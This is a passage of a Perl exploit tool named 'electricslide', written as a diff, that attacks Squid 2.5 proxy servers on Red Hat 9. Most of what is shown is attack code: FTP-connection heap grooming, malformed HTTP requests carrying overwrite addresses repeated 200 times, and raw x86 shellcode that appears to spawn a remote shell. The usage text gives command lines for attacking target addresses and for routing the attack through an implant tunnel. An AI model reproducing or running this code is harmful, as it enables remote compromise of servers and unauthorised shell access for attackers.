zh-cn\r +Accept-Encoding: gzip, deflate\r +User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r +" . $proxy_auth . +"Host: $listen_ip:$listen_port\r +Proxy-Connection: Keep-Alive\r +\r +"; + +$test_http_server_response = +"HTTP/1.1 400 Bad Request\r +Server: Microsoft-IIS/5.0\r +Content-Type: text/html\r +Content-Length: 87\r +\r +ErrorThe parameter is incorrect. "; + +$test_ftp_client_request = +"GET ftp://$listen_ip:$listen_port/ HTTP/1.0\r +User-Agent: Microsoft(r) Windows(tm) FTP Folder\r +" . $proxy_auth . +"Host: $listen_ip:$listen_port\r +\r +"; + +$ftp_server_response = "220 hello Microsoft Ftp Service\r\n"; + +$ftp_client_request = +"PUT ftp://$listen_ip:$listen_port/$ftp_client_tag.gif HTTP/1.0\r +" . $proxy_auth . +"Host: $listen_ip:$listen_port\r +Content-Length: 19242\r +\r +\r +JgKgOGGeKgCfOHKeOgOgKICfKOIeOHBeJOFgGeOCJeHKHfNHFNJfJeOeKfBeKGJFFfOeOfCgKeN"; + +$nasty_client_request = +"GET http://$listen_ip:$listen_port/$http_client_tag.gif HTTP/1.0\r\n" . +$proxy_auth . +"\x5a\x3a\x20\x4f\x67\x48\x67\x43\x67" . +"\x4f\x66\x48\x67\x49\x66\x4b\x67\x4f\x67\x43\x67\x4b\x67\x47\x65" . +"\x46\x66\x46\x67\x4b\x67\x43\x65\x48\x67\x49\x65\x42\x66\x4e\x67" . +"\x48\x67\x43\x65\x42\x66\x4f\x67\x47\x67\x47\x66\x42\x65\x47\x65" . +"\x42\x65\x4f\x65\x47\x65\x48\x66\x4a\x65\x4f\x65\x42\x67\x4b\x67" . +"\x4f\x67\x4f\x67\x42\x65\x4f\x66\x43\x65\x47\x67\x4b\x67\x4f\x67" . +"\x48\x66\x4f\x66\x47\x66\x49\x66\x4f\x65\x49\x66\x47\x66\x4b\x67" . +"\x46\x66\x49\x65\x43\x67\x47\x67\x43\x65\x47\x66\x4e\x65\x42\x65" . +"\x4b\x67\x4f\x65\x4a\x66\x4a\x65\x46\x66\x43\x67\x4a\x65\x47\x65" . +"\x48\x67\x43\x67\x49\x67\x4f\x67\x46\x67\x4f\x67\x4a\x67\x42\x67" . +"\x46\x67\x4b\x65\x46\x65\x48\x66\x4a\x66\x48\x66\x43\x66\x4b\x67" . +"\x42\x66\x47\x66\x4b\x65\x4a\x67\x49\x66\x43\x67\x48\x66\x4a\x66" . +"\x46\x65\x43\x67\x43\x65\x4a\x67\x48\x66\x4b\x65\x4b\x67\x42\x67" . +"\x4a\x67\x47\x67\x4e\x65\x4b\x65\x42\x65\x47\x67\x4f\x67\x4f\x66" . +"\x48\x65\x48\x67\x4f\x66\x4f\x67\x4a\x66\x4f\x67\x4b\x67\x43\x66" . +"\x47\x66\x48\x65\x43\x67\x4b\x67\x4e\x65\x42\x65\x4a\x66\x47\x66" . +"\x42\x67\x46\x66\x49\x66\x47\x66\x4e\x65\x4a\x67\x4f\x65\x47\x67" . +"\x47\x67\x4b\x67\x48\x67\x48\x66\x48\x65\x47\x65\x42\x66\x49\x65" . +"\x4b\x67\x4f\x67\x48\x66\x49\x67\x4a\x67\x46\x66\x4f\x66\x4a\x67" . +"\x47\x65\x4b\x65\x42\x67\x4f\x66\x4e\x66\x49\x67\x42\x66\x4e\x66" . +"\x4f\x67\x4e\x67\x47\x66\x46\x65\x42\x66\x4a\x66\x4a\x67\x49\x65" . +"\x43\x65\x4b\x65\x43\x66\x4f\x66\x47\x65\x49\x65\x46\x65\x47\x66" . +"\x42\x65\x48\x67\x42\x66\x4f\x66\x47\x66\x46\x65\x47\x67\x43\x65" . +"\x49\x67\x47\x66\x4b\x67\x48\x65\x4b\x67\x42\x66\x4b\x65\x47\x66" . +"\x42\x65\x43\x66\x48\x65\x4b\x67\x4b\x67\x47\x65\x46\x65\x47\x65" . +"\x4b\x67\x49\x67\x4e\x67\x4f\x67\x4a\x65\x46\x66\x48\x66\x42\x65" . +"\x4b\x66\x4e\x67\x42\x67\x42\x65\x42\x66\x4b\x67\x46\x67\x47\x65" . +"\x46\x66\x4e\x66\x4a\x67\x47\x65\x47\x66\x47\x65\x48\x67\x46\x66" . +"\x4b\x66\x48\x67\x46\x67\x4e\x66\x4e\x65\x48\x66\x42\x65\x47\x67" . +"\x42\x67\x46\x67\x4b\x67\x49\x65\x4e\x67\x42\x66\x47\x65\x4e\x67" . +"\x4f\x66\x46\x65\x47\x65\x4b\x65\x43\x65\x43\x65\x4e\x66\x43\x67" . +"\x4b\x65\x46\x66\x49\x67\x4b\x66\x43\x67\x4f\x66\x4e\x66\x4e\x66" . +"\x46\x65\x48\x65\x47\x65\x43\x66\x42\x66\x48\x67\x47\x67\x46\x65" . +"\x47\x65\x48\x66\x46\x66\x48\x66\x48\x66\x48\x65\x48\x67\x49\x66" . +"\x46\x66\x4a\x66\x42\x65\x46\x65\x48\x65\x4e\x66\x4e\x65\x4b\x67" . +"\x48\x65\x46\x65\x4f\x67\x4b\x65\x4f\x66\x42\x67\x46\x65\x48\x67" . +"\x43\x65\x42\x66\x46\x65\x4a\x65\x4f\x66\x4a\x67\x43\x66\x49\x66" . +"\x4a\x66\x48\x67\x4b\x67\x4b\x67\x4f\x66\x4a\x67\x4b\x66\x4a\x66" . +"\x4b\x67\x4b\x66\x48\x67\x49\x66\x43\x65\x42\x67\x46\x67\x43\x65" . +"\x4f\x66\x49\x67\x42\x67\x42\x67\x4a\x67\x48\x66\x4a\x65\x49\x66" . +"\x46\x65\x4f\x66\x49\x67\x4f\x65\x46\x67\x4f\x67\x47\x66\x4a\x67" . +"\x48\x67\x4a\x67\x4f\x65\x48\x65\x49\x66\x43\x67\x46\x65\x48\x65" . +"\x47\x65\x4f\x66\x49\x66\x46\x67\x49\x67\x49\x65\x4b\x65\x4e\x67" . +"\x42\x66\x4e\x66\x4a\x67\x42\x67\x4b\x67\x49\x65\x4b\x67\x4f\x67" . +"\x43\x67\x4b\x67\x46\x65\x4a\x65\x42\x67\x4f\x65\x42\x67\x4f\x67" . +"\x46\x67\x49\x65\x4b\x65\x43\x65\x48\x67\x47\x65\x43\x66\x48\x66" . +"\x4f\x67\x49\x65\x47\x65\x46\x66\x4e\x67\x49\x67\x4b\x67\x42\x66" . +"\x4e\x67\x47\x65\x43\x67\x43\x65\x49\x67\x49\x66\x42\x65\x46\x67" . +"\x42\x67\x48\x66\x49\x66\x46\x65\x4a\x67\x4e\x67\x4a\x66\x48\x66" . +"\x42\x66\x47\x66\x49\x67\x4f\x65\x48\x66\x4f\x67\x42\x65\x4e\x67" . +"\x4a\x67\x47\x65\x43\x65\x4e\x66\x4f\x65\x47\x67\x46\x67\x46\x67" . +"\x42\x65\x4a\x66\x4a\x66\x43\x65\x47\x65\x46\x66\x43\x66\x43\x66" . +"\x4e\x67\x43\x66\x4f\x67\x48\x67\x46\x66\x4f\x65\x42\x65\x4e\x65" . +"\x4e\x66\x4a\x67\x49\x67\x4f\x66\x4e\x67\x49\x66\x4f\x66\x4a\x66" . +"\x47\x67\x42\x67\x4e\x65\x4a\x67\x43\x65\x4e\x67\x4e\x65\x43\x65" . +"\x4e\x67\x47\x66\x4e\x65\x42\x65\x43\x66\x46\x66\x49\x66\x4f\x66" . +"\x4f\x67\x49\x65\x43\x67\x43\x66\x4a\x67\x46\x65\x43\x65\x43\x67" . +"\x42\x65\x48\x67\x47\x66\x4b\x66\x47\x66\x4e\x67\x43\x65\x49\x66" . +"\x43\x67\x4f\x66\x48\x67\x43\x67\x4a\x65\x4f\x65\x4a\x66\x42\x65" . +"\x46\x66\x4e\x67\x46\x65\x48\x67\x43\x65\x48\x67\x4a\x65\x4b\x66" . +"\x48\x66\x4b\x66\x43\x65\x4f\x66\x4f\x67\x48\x65\x46\x67\x4e\x65" . +"\x4e\x67\x47\x65\x49\x66\x4f\x65\x4f\x65\x46\x66\x46\x65\x47\x66" . +"\x48\x67\x42\x66\x48\x66\x48\x65\x4b\x65\x47\x65\x48\x67\x42\x65" . +"\x42\x65\x4e\x65\x4b\x66\x48\x67\x4e\x66\x42\x67\x4f\x65\x42\x67" . +"\x4e\x67\x4a\x66\x4b\x66\x4f\x65\x4f\x65\x4b\x66\x4e\x66\x4a\x65" . +"\x4f\x66\x46\x67\x4a\x65\x47\x67\x4a\x67\x4f\x67\x4a\x65\x4f\x65" . +"\x43\x65\x42\x67\x48\x67\x4f\x66\x49\x67\x4b\x67\x4b\x66\x47\x66" . +"\x4b\x67\x4e\x66\x4e\x65\x4f\x65\x4f\x65\x43\x65\x49\x65\x46\x65" . +"\x4b\x67\x43\x65\x4b\x65\x4f\x66\x4f\x66\x4b\x65\x42\x65\x4b\x66" . +"\x47\x65\x47\x67\x48\x65\x47\x67\x4f\x66\x4f\x66\x46\x67\x48\x66" . +"\x46\x65\x48\x67\x43\x66\x4b\x67\x4f\x67\x49\x67\x42\x65\x46\x65" . +"\x47\x67\x42\x65\x46\x66\x42\x67\x4e\x67\x4e\x65\x48\x67\x47\x67" . +"\x46\x66\x48\x67\x48\x67\x4b\x65\x48\x67\x49\x65\x42\x65\x47\x65" . +"\x4e\x65\x4f\x67\x49\x67\x43\x65\x46\x65\x4f\x67\x4a\x65\x4b\x66" . +"\x4f\x65\x4f\x65\x43\x67\x42\x65\x48\x66\x48\x65\x47\x65\x46\x65" . +"\x4b\x67\x48\x67\x46\x65\x49\x67\x42\x65\x47\x67\x4f\x67\x42\x66" . +"\x46\x66\x43\x66\x43\x66\x4e\x66\x43\x67\x42\x66\x42\x66\x4f\x67" . +"\x4a\x66\x4e\x66\x4f\x66\x4e\x67\x48\x67\x4f\x66\x4e\x66\x46\x66" . +"\x43\x65\x4b\x67\x46\x67\x43\x65\x4e\x67\x4b\x66\x42\x65\x4b\x65" . +"\x46\x67\x4e\x66\x47\x66\x4b\x66\x49\x67\x4a\x66\x48\x66\x47\x65" . +"\x48\x67\x4b\x67\x49\x67\x4f\x66\x47\x65\x4e\x66\x46\x67\x49\x67" . +"\x49\x65\x47\x67\x4b\x65\x46\x66\x42\x66\x4e\x66\x4e\x65\x43\x66" . +"\x4e\x67\x43\x66\x47\x66\x48\x65\x47\x66\x4f\x67\x42\x66\x42\x66" . +"\x42\x65\x43\x67\x47\x65\x43\x65\x48\x67\x47\x66\x4b\x66\x42\x66" . +"\x4f\x65\x4f\x67\x49\x67\x4b\x66\x4e\x66\x4b\x67\x49\x67\x49\x66" . +"\x49\x66\x43\x65\x4f\x66\x4f\x66\x4b\x66\x49\x67\x48\x65\x48\x67" . +"\x4a\x67\x4a\x67\x4e\x65\x4b\x66\x46\x67\x47\x66\x47\x66\x43\x67" . +"\x46\x67\x4e\x66\x48\x66\x49\x65" . +"\x48\x66\x4f\x66\x48\x66\x49\x67\x4a\x65\x48\x65\x47\x67\x4b\x66" . +"\x46\x66\x48\x65\x4e\x67\x4f\x67\x46\x65\x4a\x67\x42\x66\x43\x65" . +"\x4e\x67\x49\x66\x42\x66\x4b\x67\x4a\x67\x48\x66\x43\x66\x43\x65" . +"\x43\x65\x42\x67\x47\x67\x46\x67\x4a\x67\x42\x66\x47\x66\x4e\x66" . +"\x4a\x67\x47\x65\x48\x67\x4b\x65\x49\x67\x4e\x67\x43\x65\x4a\x66" . +"\x43\x65\x46\x65\x42\x67\x4f\x66\x49\x65\x46\x66\x4f\x66\x4a\x66" . +"\x42\x67\x43\x66\x4e\x67\x4f\x65\x4b\x67\x49\x66\x4a\x67\x43\x65" . +"\x46\x65\x48\x65\x4b\x67\x43\x67\x4e\x67\x42\x65\x4a\x66\x4a\x66" . +"\x49\x66\x4a\x65\x49\x66\x47\x67\x49\x67\x46\x66\x4a\x65\x4a\x65" . +"\x48\x67\x4a\x65\x4a\x67\x47\x65\x42\x67\x4e\x66\x47\x66\x47\x66" . +"\x43\x67\x4b\x66\x46\x66\x43\x67\x4a\x66\x42\x67\x4b\x67\x4f\x67" . +"\x48\x65\x4e\x67\x49\x65\x47\x66\x4b\x67\x4f\x67\x46\x66\x42\x66" . +"\x43\x66\x4f\x65\x4f\x65\x4b\x66\x4b\x66\x49\x67\x46\x65\x4f\x65" . +"\x48\x65\x4a\x67\x48\x65\x49\x66\x4b\x67\x47\x66\x4b\x67\x43\x66" . +"\x46\x67\x4a\x65\x47\x65\x46\x66\x47\x65\x48\x66\x48\x67\x4f\x66" . +"\x4b\x67\x49\x67\x4b\x66\x43\x66\x42\x65\x4a\x65\x42\x67\x4b\x67" . +"\x4a\x65\x42\x66\x4a\x66\x48\x66\x46\x67\x42\x67\x42\x65\x4a\x65" . +"\x4b\x65\x49\x67\x42\x66\x46\x66\x48\x65\x4f\x67\x47\x66\x48\x66" . +"\x4e\x65\x42\x66\x46\x67\x46\x66\x43\x65\x4b\x65\x43\x66\x43\x65" . +"\x47\x65\x4a\x66\x46\x67\x46\x66\x4a\x67\x46\x67\x46\x67\x46\x67" . +"\x49\x67\x4e\x66\x4b\x65\x47\x65\x4e\x67\x49\x65\x46\x67\x49\x65" . +"\x4e\x66\x4f\x67\x4b\x65\x43\x66\x4e\x67\x47\x67\x4a\x65\x46\x65" . +"\x48\x66\x4a\x65\x43\x65\x46\x65\x4b\x66\x42\x65\x46\x66\x4b\x66" . +"\x47\x67\x47\x67\x4f\x67\x4e\x67\x49\x67\x42\x66\x47\x67\x49\x66" . +"\x4e\x65\x4f\x66\x48\x66\x42\x65\x4a\x66\x4a\x65\x49\x65\x47\x66" . +"\x43\x67\x4b\x65\x46\x66\x4b\x66\x47\x67\x4e\x66\x48\x65\x49\x65" . +"\x42\x67\x4b\x66\x48\x65\x4a\x67\x48\x66\x46\x66\x4b\x65\x4a\x66" . +"\x46\x67\x4a\x67\x42\x65\x4f\x67\x4a\x67\x43\x67\x48\x65\x43\x67" . +"\x46\x66\x49\x65\x49\x65\x49\x65\x4b\x67\x42\x65\x4f\x66\x47\x65" . +"\x4b\x67\x42\x65\x42\x66\x48\x66\x42\x67\x47\x67\x4f\x66\x42\x67" . +"\x47\x65\x4a\x67\x47\x65\x42\x67\x43\x65\x46\x67\x47\x65\x48\x65" . +"\x4a\x66\x42\x66\x4b\x65\x49\x65\x4a\x65\x48\x66\x46\x67\x49\x65" . +"\x4a\x65\x49\x66\x49\x67\x4a\x65\x4b\x66\x4f\x67\x4b\x66\x4f\x67" . +"\x49\x65\x42\x67\x49\x66\x46\x65\x4e\x67\x4a\x65\x46\x67\x4b\x65" . +"\x4e\x65\x46\x66\x42\x66\x46\x66\x49\x65\x4e\x67\x4f\x65\x48\x67" . +"\x49\x66\x4f\x65\x43\x65\x4f\x66\x4a\x65\x4b\x66\x49\x66\x46\x67" . +"\x42\x66\x4e\x67\x43\x66\x42\x67\x47\x67\x4e\x67\x48\x66\x47\x67" . +"\x43\x67\x4a\x65\x4e\x66\x42\x67\x4a\x66\x47\x67\x49\x65\x46\x65" . +"\x46\x67\x47\x66\x43\x65\x4f\x65\x4f\x67\x46\x66\x43\x67\x4b\x65" . +"\x4b\x67\x49\x67\x4f\x66\x4f\x65\x42\x66\x43\x65\x46\x66\x4e\x67" . +"\x4e\x67\x49\x67\x42\x65\x4a\x65\x46\x66\x43\x66\x42\x65\x47\x65" . +"\x46\x65\x42\x65\x49\x65\x4f\x65\x42\x67\x4b\x66\x48\x66\x4f\x67" . +"\x43\x67\x43\x65\x4b\x65\x48\x67\x48\x67\x4f\x67\x4a\x66\x48\x65" . +"\x4e\x67\x42\x66\x42\x65\x4f\x67\x4e\x66\x48\x65\x47\x67\x4e\x67" . +"\x43\x65\x4e\x67\x42\x4f\x0d\x0a\x47\x65\x4f\x4f\x4a\x4f\x4a\x42" . +"\x47\x67\x4b\x49\x46\x42" . +"\xf0\xff\xff\xff\xf8\xff\xff\xff\x10\x73\x0f\x08\x60\x22\x13\x08" x 200 . +#"\xf0\xff\xff\xff\xf8\xff\xff\xff\xc0\x6f\x0c\x08\x02\x0e\x10\x08" x 200 . # Target type 1 +"\x3a\x20\x59\x0d\x0a\x0d\x0a\x0d\x0a"; + +$nasty_server_response1 = +"HTTP/1.1 200 OK +Cache-control: public +Content-Type: text/html +Server: Apache/2.0.40 (Red Hat Linux) +Date: Wed, 30 Jan 2009 12:34:54 GMT +Connection: close +Last-Modified: Wed, 30 Jan 2009 12:34:54 GMT +Vary: Z +Vary: Z +Vary: Z +Vary: Z +Vary: Z +Vary: GeOOJOJBGgKIFB" . +"\xf0\xff\xff\xff\xf8\xff\xff\xff\x10\x73\x0f\x08\x60\x22\x13\x08" x 200 . +#"\xf0\xff\xff\xff\xf8\xff\xff\xff\xc0\x6f\x0c\x08\x02\x0e\x10\x08" x 200 . # Target type 1 +"\n" . +"Vary: Z\n" x 26 . +"\xeb\x0e\x47\x4a\x4f\x4b\x4e\x46\x4e\x46\x49\x67\x42\x66\x49\x66" . +"\x47\x4a\x43\x47\x43\x41"; + +$nasty_server_response2 = +"\x43\x40\x46\x43\x47\x43\xeb\x06\x47\x43\x41\x43\x40\x46\x43\x47" . +"\x43\x41\x43\x40\x46\x43\x47\x43\x41\x43\x40\x46\x43\x31\xdb\x31" . +"\xc9\x31\xd2\x31\xc0\xb0\xa4\xcd\x80\x6a\x02\x58\xcd\x80\x31\xdb" . +"\x39\xd8\x74\x13\x89\xc3\x31\xc9\x31\xd2\x6a\x07\x58\xcd\x80\x31" . +"\xdb\x6a\x01\x58\x4b\xcd\x80\x6a\x02\x58\xcd\x80\x31\xdb\x39\xd8" . +"\x74\x02\xeb\xeb\x31\xdb\x66\xbb\x18\x01\x01\xe3\x8b\x1b\x31\xc9" . +"\x6a\x3f\x58\xcd\x80\x6a\x28\x59\x6a\x03\x5b\x6a\x06\x58\xcd\x80" . +"\x43\x39\xcb\x7e\xf6\x81\xc4\xf8\xff\xff\xff\x54\x31\xdb\x53\x43" . +"\x53\x53\x89\xe1\x6a\x08\x5b\x6a\x66\x58\xcd\x80\x81\xec\xf0\xff" . +"\xff\xff\x6a\x02\x58\xcd\x80\x31\xdb\x39\xd8\x75\x47\x31\xdb\x6a" . +"\x06\x58\xcd\x80\x5b\x6a\x06\x58\xcd\x80\xbf\x56\x56\x56\x56\x5b" . +"\x6a\x03\x59\x6a\x3f\x58\x49\xcd\x80\x41\xe2\xf7\x31\xd2\xbb\x7b" . +"\x3f\x56\x56\x31\xfb\x53\x89\xe1\xbb\x79\x25\x3e\x56\x31\xfb\x53" . +"\xbb\x79\x34\x3f\x38\x31\xfb\x53\x89\xe3\x52\x51\x53\x89\xe1\x6a" . +"\x0b\x58\xcd\x80\xeb\x46\x60\x81\xc4\x60\xf0\xff\xff\x31\xd2\x66" . +"\xba\xa0\x0f\x89\xe1\x89\xf3\x6a\x03\x58\xcd\x80\x89\xc2\xeb\x23" . +"\x59\x8b\x19\x31\xc9\x8d\x04\x8c\x31\x18\x41\x66\x81\xf9\xe8\x03" . +"\x7c\xf3\x89\xfb\x89\xe1\x6a\x04\x58\xcd\x80\x81\xec\x60\xf0\xff" . +"\xff\x61\xc3\xe8\xd8\xff\xff\xff\x56\x56\x56\x56\x5f\x5b\x6a\x06" . +"\x58\xcd\x80\x31\xf6\x89\xe5\x6a\x01\x5a\x52\x57\x52\x56\xba\xff" . +"\xff\xff\xff\x6a\x02\x59\x89\xe3\x31\xc0\xb0\xa8\xcd\x80\x58\x58" . +"\xc1\xe8\x10\x89\xc2\x24\x01\x74\x05\xe8\x88\xff\xff\xff\x80\xe2" . +"\x18\x75\x1b\x58\x58\xc1\xe8\x10\x89\xc2\x24\x01\x74\x09\x87\xfe" . +"\xe8\x71\xff\xff\xff\x87\xfe\x80\xe2\x18\x75\x02\xeb\xb9\x31\xdb" . +"\x6a\x06\x58\xcd\x80\xe9\xb5\xfe\xff\xff\x0d\x0a\x0d\x0a\x0d\x0a"; + +} + +################################################################################ +# Sub get_options +################################################################################ +sub get_options { + + GetOptions ('target|t=s' => \$target_str, + 'listen|l=s' => \$listen_str, + 'target-type|o=i' => \$target_type, + 'delay|d=i' => \$delay, + 'proxy-user|U=s' => \$proxy_auth_user, + 'proxy-pass|P=s' => \$proxy_auth_pass, + 'help|h' => \$printhelp, + 'nopen|n=i' => \$nopen_port, + 'nopen_forward|f=s' => \$nopen_str, + 'local-addr|a=s' => \$local_ip_addr + ); + + ($target_ip, $target_port) = split(/:/, $target_str); + ($listen_ip, $listen_port) = split(/:/, $listen_str); + if(defined($nopen_str)) { + ($nopen_forward_ip, $nopen_forward_port) = split(/:/, $nopen_str); + } + + # Print help if they want it + if ($printhelp) {&print_usage();} + + if($nopen_port) {$nopen = 1;} + if($nopen && (!defined($nopen_forward_ip) || !defined($nopen_forward_port))) { + &print_usage("You forgot -f "); + } + if($nopen && (!defined($local_ip_addr))) { + &print_usage("You forgot -a "); + } + #print "nopen [$nopen] nopen port [$nopen_port]"; + + if (!defined($target_ip)) { &print_usage("You missed -t "); } + if (!defined($target_port)) { &print_usage("You missed -t "); } + if (!defined($delay)) { &print_usage("You missed -d "); } + if (!defined($listen_ip)) { &print_usage("You missed -l "); } + if (!defined($listen_port)) { &print_usage("You missed -l "); } + if (!defined($target_type)) { &print_usage("You missed -o "); } +} + +################################################################################ +# Sub print_usage +################################################################################ +sub print_usage { + + $message = shift; + + print " +-------------------------------------------------------------------------------- + Build Date: Aug 23 2004 + Build Time: 19:17:00 + Version: 3.1 + Usage: ./electricslide -t -o -d + -l [-U ] [-P ] [-n ] [-f ] [-a ] + + -h, --help Print this helpful message + -t, --target Target Squid server ip + -o, --target-type Target type (see list below) + -l, --listen Electricslide listen port which Squid will connect to + -U, --proxy-user Proxy-Auth user name (if required) + -P, --proxy-pass Proxy-Auth password (if required) + -n, --nopen Set to port of UDP nopen tunnel + -f, --nopen_forward The address and port of the target machine to forward + the attack to through the nopen tunnel + -a, --local-addr The local ip address (not 127.0.0.1) + -d, --delay Web server exploit transmit delay + (The web server will delay the last + 400 bytes of the payload this number of seconds. + This ensures that the shellcode will be in proper + alignment when the exploit occurs. Default 30) + + Examples: + - Shooter with receiver on port 80: + ./electricslide -t 172.16.0.69:3128 -l 192.168.1.1:80 -d 30 -o 0 + + - Shooter with receivers on port 80 using proxy auth: + ./electricslide -t 172.16.0.69:3128 -l 192.168.1.1:80 -d 30 -o 0 + -U \"user\" -P \"password\" + + - Through a nopen tunnel from local box to 2.2.2.2, attacking 3.3.3.3 + ./electricslide.pl -t 127.0.0.1:7777 -l 2.2.2.2:8888 -o 0 + -n 9999 -f 3.3.3.3:3128 + - assumes a nopen client connected to 2.2.2.2, with a UDP tunnel + on 9999 (nopen> -tunnel 9999 udp) + +-------------------------------------------------------------------------------- + 0) Redhat 9.0 Squid 2.5-STABLE1 RPM w/https support (default included w/RH 9.0) +" . +# These aren't in here yet... +# 1) Default Config & Compile of Squid 2.5-STABLE* (default compile from source) +# 2) Redhat 9.0 Squid HIDEOS compiled w/https support (very custom compile) +"-------------------------------------------------------------------------------- + +NOTE: ONLY ONE TARGET TYPE HAS BEEN CONVERTED + +"; + print("$message\n"); + exit; +} + +################################################################################ +# Sub test_http_connection +################################################################################ +sub test_http_connection { + + print "\n"; + print "--> Testing proxy http connection\n"; + # Setup socket listener to receive test client request + $listener = &sock_listen($listen_port); + + # Connect to proxy to send test client request + print "--> Creating socket connection...\n"; + $sock_c = &sock_connect($target_ip, $target_port); + sleep 3; + print "--> Connection successful\n"; + # Send test client request + print "--> Sending client request...\n"; + syswrite($sock_c,$test_http_client_request); + + $SIG{'ALRM'} = \&sig_alrm_test; + alarm(30); + # Make sure we are not processing someone else's connection to us + $buf_r = "crap"; + while ($buf_r !~ /$test_http_client_tag/s) { + if ($buf_r ne "crap") { + print "--! EXTRANEOUS CONNECTION: IGNORED\n"; + } + # Accept proxy connection with listener + $sock_r = $listener->accept(); + $buf_r = &sock_read($sock_r); + # Print what was received + print "-" x 80 . "\n" . substr($buf_r,0,512) . "\n" . "-" x 80 . "\n"; + # Send not found response + syswrite($sock_r,$test_http_server_response); + } + alarm(0); + + # Close down accepted http socket + shutdown($sock_r, 2) || die "$!\n";; + print "--> Success!\n"; + + # Close down connection to proxy and socket listener + shutdown($sock_c, 2) || die "$!\n"; + shutdown($listener, 2) || die "$!\n";; +} + +################################################################################ +# Sub test_ftp_connection +################################################################################ +sub test_ftp_connection { + + print "\n"; + print "--> Testing proxy ftp connection...\n"; + # Setup socket listener to receive test client request + $listener = &sock_listen($listen_port); + + # Connect to proxy to send test client request + print "--> Creating socket connection...\n"; + $sock_c = &sock_connect($target_ip, $target_port); + sleep 3; + print "--> Connection successful\n"; + # Send test client request + print "--> Sending client request...\n"; + syswrite($sock_c,$test_ftp_client_request); + + $SIG{'ALRM'} = \&sig_alrm_test; + alarm(30); + # Make sure we are not processing someone else's connection to us + $buf_r = "crap"; + while ($buf_r !~ /^USER/is) { + if ($buf_r ne "crap") { + print "--! EXTRANEOUS CONNECTION: IGNORED\n"; + } + # Accept proxy connection with listener + $sock_r = $listener->accept(); + # Send ftp greeting + syswrite($sock_r,$ftp_server_response); + $buf_r = &sock_read($sock_r); + # Print what was received + print "-" x 80 . "\n" . substr($buf_r,0,512) . "\n" . "-" x 80 . "\n"; + } + alarm(0); + + # Close down accepted ftp socket + shutdown($sock_r, 2) || die "$!\n";; + print "--> Success!\n"; + + # Close down connection to proxy and socket listener + shutdown($sock_c, 2) || die "$!\n"; + shutdown($listener, 2) || die "$!\n";; + +} + +################################################################################ +# Sub check_continue +################################################################################ +sub check_continue { + + my $string = (shift); + print $string; + my $resp = (); + print "\n"; + if ($resp !~ m/^y/i) { + print "\n--> Exiting!\n\n"; + exit; + } +} + +################################################################################ +# Sub groom_ftp +################################################################################ +sub groom_ftp { + + # Setup socket listener to receive test client request + $listener = &sock_listen($listen_port); + # Setup select array to put the accepted connections in + $s_arr = IO::Select->new(); + $s_arr->add($listener); + # Setup clients and send ftp requests + for ($i=0; $i < $max_ftp_clients; $i++) { + if ($sock_c[$i] = &sock_connect($target_ip, $target_port)) { + print "--> Initiating FTP connection with client #$i\n"; + $s_arr->add($sock_c[$i]); + print "--> Sending FTP request with client #$i\n"; + print {$sock_c[$i]} $ftp_client_request; + } + } + + $SIG{'ALRM'} = \&sig_alrm_ftp; + print "\n--> Setting ftp grooming session timeout to: $ftp_timeout\n"; + sleep 1; + alarm($ftp_timeout); + $i = 0; + my $data_connections = 0; + while (!$ftp_alarm && (@ready = $s_arr->can_read) ) { + foreach $fh (@ready) { + if($fh == $listener) { + # Create a new socket + $sock_r[$i] = $listener->accept; + printf "--> Received connection from %s\n", &safe_inet_ntoa($sock_r[$i]->peeraddr); + print "--> Sending FTP hello\n"; + print {$sock_r[$i]} "220 hello Microsoft Ftp Service.\r\n"; + $s_arr->add($sock_r[$i]); + $i++; + } else { + # Process socket + $buf_r = &sock_read_quiet($fh); + # Break out if nothing was read + next if (length($buf_r) == 0); + + if ($buf_r =~ m/^USER/i) { + syswrite($fh,"331 Anonymous allowed.\r\n"); + } elsif ($buf_r =~ m/^PASS/i) { + syswrite($fh,"230 Anonymous logged in.\r\n"); + } elsif ($buf_r =~ m/^TYPE I/i) { + syswrite($fh,"200 Type set to I.\r\n"); + } elsif ($buf_r =~ m/^MDTM/i) { + syswrite($fh,"550 The system can not find the file specified.\r\n"); + } elsif ($buf_r =~ m/^SIZE/i) { + syswrite($fh,"550 The system can not find the file specified.\r\n"); + } elsif ($buf_r =~ m/^PASV/i) { + syswrite($fh,"502 Command not implemented.\r\n"); + } elsif ($buf_r =~ m/^PORT/i) { + syswrite($fh,"200 PORT command successful.\r\n"); + # Get rid of new lines + $buf_r =~ s/\r//g; + $buf_r =~ s/\n//g; + my @port_args = split(/,/,$buf_r); + my $data_port = unpack("S", pack('C', $port_args[5]) . pack('C', $port_args[4]) ); + print "$data_connections: $buf_r - $port_args[4] - $port_args[5] - $data_port\n"; + push(@data_ports, $data_port); + + if($nopen) { + # here is where we dynamically set up our local nopen listen ports + my $local_listener_string = "l $data_port $nopen_forward_ip "; + syswrite($nopen_sock, $local_listener_string); + sleep 1; + } + + } elsif ($buf_r =~ m/^STOR/i) { + syswrite($fh,"150 Opening BINARY mode data connection.\r\n"); + # Connect to FTP data port + my $data_port = pop(@data_ports); + printf "--> Opening BINARY mode data connection to %s:$data_port\n", &safe_inet_ntoa($fh->peeraddr); + $sock_d[$data_connections] = &sock_connect(&safe_inet_ntoa($fh->peeraddr),$data_port); + $data_connections++; + } else { + #printf "-" x 80 . "\n" . "--> Received spurious data from: %s\n", &safe_inet_ntoa($fh->peeraddr); + #print substr($buf_r,0,512) . "\n" . "-" x 80 . "\n"; + syswrite($fh,"502 Command not implemented.\r\n"); + } + # Looks like we have finished with the socket + #$sel->remove($fh); + } + } + if ($data_connections >= $max_ftp_clients) { + last; + } + } + alarm(0); + + # Check for ftp alarm...if should continue + if ($ftp_alarm) { + print "\n--! Looks like ftp session timeout alarm went off after $ftp_timeout seconds.\n"; + # Check for continue + &check_continue("\n--> Continue exploit (y/n): "); + } + + # Shutdown the data connections prematurely to reset squid child + shutdown($listener, 2); + for ($i=0; $i <= $#sock_d; $i++) { + #print "--> Shutting down FTP connection #$i\n"; + shutdown($sock_d[$i], 2); + } + + for ($i=0; $i <= $#sock_c; $i++) { + print "--> Shutting down FTP connection #$i\n"; + shutdown($sock_c[$i], 2); + } + + for ($i=0; $i <= $#sock_r; $i++) { + #print "--> Shutting down FTP connection #$i\n"; + shutdown($sock_r[$i], 2); + } +} + +################################################################################ +# Sub exploit +################################################################################ +sub exploit { + + print "\n"; + print "--> Initiating client exploit request...\n"; + # Setup socket listener to receive test client request + $listener = &sock_listen($listen_port); + + # Connect to proxy to send test client request + $sock_c = &sock_connect($target_ip, $target_port); + print "--> Waiting $sock_verify_time seconds to 